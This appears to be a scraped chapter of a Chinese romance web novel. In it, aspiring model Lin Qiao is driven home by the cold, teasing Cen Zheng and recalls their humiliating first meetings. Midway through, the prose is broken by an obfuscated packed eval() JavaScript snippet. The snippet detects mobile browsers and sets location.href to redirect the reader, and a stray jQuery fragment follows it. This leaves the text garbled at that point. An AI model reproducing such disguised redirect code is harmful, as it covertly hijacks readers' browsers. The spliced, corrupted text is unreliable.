他是天生的嗓音很低，却不浑厚，带着说不清道不明的冷冽，突然乍现在耳边，撩得林俏心弦一动。
谢他什么呢？她也不太能说清楚，山脚下华灯初上，山上劲风阵阵，林俏抿了抿唇：“谢谢你那天拉了我一把。”
话音刚落，那个下午的狼狈记忆不由分说袭回脑海。
她为了当模特挣钱，瞒着父亲放弃了上大学。她成绩不算拔尖，中考考上了市重点高中，临近高考，林爱民肝硬化腹水住院，母亲在疗养院状态不好，弟弟妹妹忙于中考，她一个人学校、医院、疗养院三头跑。最后高考失利，成绩出来那天，她正在水稻地里栽水稻，一天一百块钱，很平静地接受了自己比一模二模低了很多的成绩。
林爱民知道她的成绩以后什么也没有说，只让她准备去上大学。他撑着刚出院的身体去工地上干活，给林俏挣大学学费，可林俏没了上大学的心思，索性瞎报了志愿。
纸终究包不住火，事情暴露的那天，林爱民痛心疾首，在林家破败的院子里对她破口大骂，弟弟妹妹在一旁哭成一片，而她只跪在院子里，平静地流着泪接受一切责骂。
岑矜就是这个时候把一辆京牌的奥迪停在了林家门口，手里拿着份文件，踌躇地问，谁是林俏。因为林俏刚成年，加上她条件好，凑巧岑政那几天就在青城谈项目，她便直接找了林俏，和她洽谈合约。
林爱民满腔怒火无处发泄，乍见岑矜，怒火甚嚣尘上，他一把夺过合约撕得粉碎，然后指着岑矜指责她害人匪浅。岑矜是大小姐脾气，也不受这个气，一来二去便和林爱民吵了起来。
总之吵到最后，林俏挡在两个人中间，林爱民高高扬起自己的巴掌，毫不留情向她挥过去。
林俏那时咬着唇闭上眼没有躲，她真心希望承接住这个巴掌，打的越重越好，可惜，她没有如愿。在巴掌马上落下的瞬间，有个人伸手一把将她稳稳扯了过去。
覆在她手腕上的温度微凉，转瞬便放开，伴随汤碗碎裂的声响，院子里原本的潮闷难闻被凛冽辛辣的薄荷味洗涤。那是林俏第一次遇见岑政，他微垂着眼，气质疏离，一只手插兜，完全置身这场闹剧外的闲适。
思绪渐渐回拢，这段记忆对她而言是不愿提及的，可岑政却没表露出任何情绪，好像他就是一个这样的人，所有事情都不足他挂在心上。
就像现在，他也只是轻轻揭过，意味不明地低笑：“我看你今天看见我的样子，不像是见恩人的模样。”
车子开始向山脚下开，两个人都不是话多的人，速度慢了下来，因此每一分每一秒都显得格外磨人，尤其是对坐在他车里的林俏。
“在公司都学些什么？”他随口问。
“就那些，体态、走台步什么的。”林俏低头回答得简短
岑政轻笑，侧目看她一眼：“你还管理身材？”
“规定是这样。”
“大家是都要管理”他目光回到路面，语气随意，“可像你一样，要出来接外快的可不就一个。”
林俏呼吸一滞，手指无意识地收紧。车内的沉默蔓延了几秒。
“我的事，不劳你费心。”她声音有些硬，转脸看向窗外。
得，和他没关系，岑政索性不说话了，一路送她回公司在南山安排的公寓。
林俏一路是越想越气，她觉得岑政这人忒不会说话，一次两次就算了，可两人每次见面他都对她蹦不出好话！
第一次是两人第一次见面，闹剧结束后，岑矜本来打算不签林俏，拉着岑政就走了。林俏当时就从院子里一路追到家门口，追到那辆价值不菲的汽车面前，极尽狼狈地叩响车门。
她一直叩了三声，车窗才被降下，日光打在她身上，村里人都出来观望，一道又一道目光像刺一样扎在她身上。那时岑政识趣地将身子向后倾斜，掏出口袋里的打火机，垂眼有一搭没一搭地把玩。
她诚恳地请求岑矜再给她一次机会，岑矜以不希望破坏她家庭和睦为由强行拒绝。那时林俏一点没犹豫，直接说了句：“比起家庭和睦，我更需要的是钱。”
驾驶位一直没出声的岑政，冷不丁坐直身子，同她对视，那是两个人第一次对视。在北方小城的夏日，一个在车内掌控全局，一个在车外卑微争取。
他像是真的不理解，反问：“家庭不美满，又挣不到钱的多了去，凭什么要给你这次机会？”
然后他开着车绝尘而去，徒留她一人面对漫天飞扬的尘土。
还有一次是他去车站接她那天，他领着她出车站，二人一路无言。后来下车时，她礼貌对他说了句麻烦了，结果他不像旁人一样谦和，反而直接懒懒回了句：“你也知道是麻烦我。”
那时林俏猝不及防对上他的眼睛，像幽深的潭水，不能深究，不知道什么时候就会溺进去，她哑口无言。
良久，岑政望着她溢出声笑，一字一句慢悠悠开口：“你叫什么名字？”
林俏那会儿不想告诉他，刚走出两步路，就听他在背后得逞似的语调：“俏皮的俏？”接着意味不明地补了一句：“这名字不称你。”
还有就是在面试当天，那天她特别紧张，等在大厅里一遍又一遍背稿子。是岑矜和段嘉琳一起面试的她，岑矜对她印象一般，段嘉琳对她也不甚友好，甚至问了她好几个关于她家庭、隐私且难堪的问题。
她悄悄攥紧了拳，没有发作，所以在岑矜告诉她面试结束时，她如蒙大赦准备离开。突然察觉身后带起一阵冷热交杂的风，剔了脊背、冷气侵洒的寒意，脖颈胳膊上起了一层鸡皮。
她出于本能颤了一下，伴随岑矜那句带着意外的“阿政”转头，刚好看见面无表情推门而入的岑政。她缩在角落里给他让道，他迈着长腿走过去，坐在岑矜一旁，把手机摆在一边问：“入职的人面几个了？”
“这个面完了，还剩三个，下面剩下的三个陪我们一起看？”
“行啊。”岑政一挑眉，答应得爽快。
林俏那会儿内心长吁一口浊气，她不管剩下三个人上辈子是干了什么穷凶极恶的事，轮到被他们三个人面。
可她没得逞，她才迈出了两步，就被生生绊住，因为她清楚听见，那个男人用十分无所谓的语气说了一句：“这个人面过了？”
没等人回答，他接着说：“刚好我碰上了，不如从你开始吧。”
“您想问什么？”林俏闭了一下眼，再睁眼认命，再不适，也得按照他说的做。
“年纪这么小，不读书想着来当模特，吃青春饭考虑好了？”他问得最冒犯，可语气却很平常：“认真回答。”
“我没钱。”林俏摆了一下手，迎着他的眼神，没有自卑没有羞耻，轻飘飘两个字落下。
她记得，那会儿他看了她很久，整个人向椅背靠，掀开钢笔帽，在入职面试打分表上，她的那一栏，打钩签字：“从一个火坑，跳到另一个火坑。”
如今再想，还真是一语成谶，她可不是真又跳进一个火坑吗？她和初澜的合约签了两年，想解约是不可能，她也不会解约，毕竟每个月还能拿一万五的基础工资，大不了苟着呗。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16850313|191515||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只不过，身旁这人有时候说话的方式，总是叫她很不舒服。
车子驶下山，限量版布加迪重新涌入车潮，鸣笛声从四面八方传来，吵得林俏头痛。她听不得这种声响，却因为和岑政怄气，咬着牙隐忍不说话。
大概过了几秒，车窗被全部升起，噪音瞬间被隔绝，林俏无声松了一口气，远处的公寓楼也越来越明晰。
恰逢一个红灯，要足足等上九十秒，身旁人突然唤她名字：“林俏。”
岑政转向她，他身后是浮起的繁华灯火，眼尾眉梢吊着点笑，突然反应过来一样：“你很讨厌我？”
两人离得实在太近，林俏向后靠了靠，剔透的眸子里几分无措，扬起脖颈：“我没说过。”
“没说过？”他喉咙里逸出声笑，恍然大悟：“就是心里一直有这个想法，但没说出来，是吗？”
“对！”林俏下定决心，一鼓作气：“恭喜你回过味了。”
怎么着，就许你天天对我呛？
想象中的畅快并没有到来，因为她发现自己只是单方面怄气，得到这个答案的岑政还是没有丝毫波动，他还是了然般点了下头，重新坐正在驾驶位，扯唇：“合着刚才那句谢谢也不是诚心的。”
红灯转绿，车子轰然发动，野兽般的轰鸣响彻，速度陡然加快，一路疾驰，送她回了公寓，然后打开了车门。
林俏下车的时候也没看他，自顾自低头解开外套，拿在手里，鼓起勇气向他一递：“还给你。”她顿了顿，而后咬着唇补了一句：“谢谢。”
女孩手指纤细白皙，裸露在外的一截小臂像块上好的羊脂玉，岑政没着急接，一点点抬眸望她，戏谑：“你系着就是，这声谢谢是真心的？”
林俏留下一句：“你觉着是就是。”
当天晚上，林俏早早洗漱，公司提供住宿的公寓，三个女孩住在一起，临睡前孟念带着邱果来问她赛车场干的怎么样。
林俏心里苦涩一片，面上还是带着淡笑道：“挺顺利的。”
那天晚上岑政也是早早回家，他的房子在这座城市最繁华的地段，落地窗全景，一览圳城好风光。他刚洗完澡，额前黑发还零星滴水，给岑矜拨了个电话过去。
电话响了十秒就被接通，她估计正在哪个酒吧释放，电话那头一片乱糟糟的杂音：“喂？阿政。”
岑政皱眉，把手机撇远：“上次面试有个叫林俏的，记得吗？”
“呦呵。”岑矜在那头挤眉弄眼的：“你还记着呢？怎么样？女孩长得是不是很漂亮，抛开她家里那一箩筐事不谈，她可是我最满意的。”
脑袋里一闪而过林俏那张脸，不咸不淡回了句：“挑人眼光不错。”
岑矜更奇了，岑政以前住在北京，周围家属院里那么多漂亮姑娘，愣是没见他提过一个。她着急出了包厢，找了个僻静角落：“你跟我打电话就因为她？”
“也不全是，跟你说一声，她绩效考核从我这走。”
“她绩效考核还没完成？”岑矜意外和失望之情溢于言表，悲愤：“我难不成看错人了？要不是你当时心软，你以为我看不出来，你故意让她追上了车，还见了鬼的跟她说话，后来面试你还给她打了个最高等级，我才不签她呢……”
岑政耐心耗尽，直接挂了电话，也算搞明白，那人怎么落得一个去挣外快的地步了。接着滑进微信，点进去和段嘉琳干干净净的聊天记录。
两人连节日祝福都没发过，他耐着性子，单手打出去一行字：〔人一个人出来不容易，差不多得了。〕